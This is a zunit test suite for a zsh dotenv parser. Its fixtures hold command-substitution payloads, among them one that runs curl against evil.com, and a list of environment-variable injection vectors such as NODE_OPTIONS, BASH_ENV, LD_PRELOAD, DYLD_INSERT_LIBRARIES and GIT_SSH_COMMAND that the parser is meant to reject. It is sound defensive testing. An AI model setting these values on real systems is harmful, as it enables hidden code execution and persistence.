#!/usr/bin/env zunit

@setup {
  typeset -g fixture="$(_create_temp_fixture)"
  typeset -gA expected_vars=()
}

@teardown {
  [[ -f "$fixture" ]] && command rm -f "$fixture"
  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
}

@test 'skip dangerous backtick command substitution' {
  > "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_BACKTICK=`whoami`
EOF

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

@test 'skip dangerous subshell command substitution' {
  > "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_SUBSHELL=$(date)
EOF

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

@test 'skip nested command substitution in double quotes' {
  > "$fixture" <<'EOF'
# Should be skipped
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
EOF

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

@test 'skip multiple words (potential command execution)' {
  > "$fixture" <<'EOF'
# Should be skipped - multiple words could execute commands
BASE_URL=/ echo command run
EOF

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

@test 'allow literal command substitution in single quotes' {
  > "$fixture" <<'EOF'
# Single quotes make everything literal - should be parsed
SAFE_SINGLE_QUOTED='$(this is literal)'
SAFE_BACKTICK='`also literal`'

# Should also be parsed
SAFE_VAR=safe_value
EOF

  expected_vars=(
    SAFE_SINGLE_QUOTED '$(this is literal)'
    SAFE_BACKTICK '`also literal`'
    SAFE_VAR 'safe_value'
  )

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

@test 'skip backticks in unquoted values' {
  > "$fixture" <<'EOF'
# Backticks in unquoted context - should be skipped
DANGEROUS_UNQUOTED=`echo danger`
EOF

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

@test 'skip dollar-paren in unquoted values' {
  > "$fixture" <<'EOF'
# Command substitution in unquoted context - should be skipped
DANGEROUS_UNQUOTED=$(uname -a)
EOF

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
  > "$fixture" <<'EOF'
# Dollar signs that don't start command substitution
SAFE_DOLLARS='$HOME is literal'
SAFE_PRICE='Cost is $50'
SAFE_VAR='value$123'

# Should all be parsed
SAFE_VAR2=safe_value
EOF

  expected_vars=(
    SAFE_DOLLARS '$HOME is literal'
    SAFE_PRICE 'Cost is $50'
    SAFE_VAR 'value$123'
    SAFE_VAR2 'safe_value'
  )

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

@test 'skip quoted command substitution' {
  > "$fixture" <<'EOF'
HARMLESS_COMMAND="\$(echo)"
ANOTHER_ONE=$'\x24\x28echo\x29'
EOF

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}

@test 'comprehensive security test with mixed safe and dangerous patterns' {
  > "$fixture" <<'EOF'
# These should be SKIPPED (dangerous)
DANGEROUS_BACKTICK=`whoami`
DANGEROUS_SUBSHELL=$(date)
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
LOOKS_SAFE=$(curl http://evil.com)
BASE_URL=/ echo command run

# These should WORK (safe)
SAFE_BEFORE=safe_value_1
SAFE_AFTER=safe_value_2
SAFE_SINGLE_QUOTED='$(this is literal)'
SAFE_SINGLE_QUOTED2='`also literal`'
SAFE_DOLLARS='$HOME'
SAFE_PRICE="$50"
EOF

  expected_vars=(
    SAFE_BEFORE 'safe_value_1'
    SAFE_AFTER 'safe_value_2'
    SAFE_SINGLE_QUOTED '$(this is literal)'
    SAFE_SINGLE_QUOTED2 '`also literal`'
    SAFE_DOLLARS '$HOME'
    SAFE_PRICE '$50'
  )

  _parse_dotenv_test "$fixture"

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}



@test 'blocks changes of special environment variables' {
  _parse_dotenv_test =(<<'EOF'
# Executes on the next node/npm/npx invocation
NODE_OPTIONS=--require=./payload.js

# Used for shell initialization
BASH_ENV=./payload.sh
# Used for shell initialization in zsh, but also respected by some tools like git
# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
ENV=./payload.sh
# Used for zsh startup
ZDOTDIR=./.malicious_zsh
ZSH=./.malicious_zsh

# These are used for native code injection
LD_PRELOAD=./payload.so
LD_LIBRARY_PATH=./malicious_libs
DYLD_INSERT_LIBRARIES=./payload.dylib

# Git environment variables
GIT_CONFIG_GLOBAL=./.gitconfig-malicious
GIT_DIR=./malicious_git_dir
GIT_EDITOR=./malicious_editor
GIT_EXTERNAL_DIFF=./malicious_diff
GIT_EXEC_PATH=./.malicious_git_exec
GIT_PAGER=./malicious_pager
GIT_SSH=./malicious_ssh
GIT_SSH_COMMAND=./malicious_ssh_command
GIT_SSL_NO_VERIFY=true
GIT_TEMPLATE_DIR=./malicious_templates # for persistence

# Special exported variables
PATH=./malicious_bin:$PATH
EDITOR=./malicious
VISUAL=./malicious
PAGER=./malicious
EOF
)

  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
}
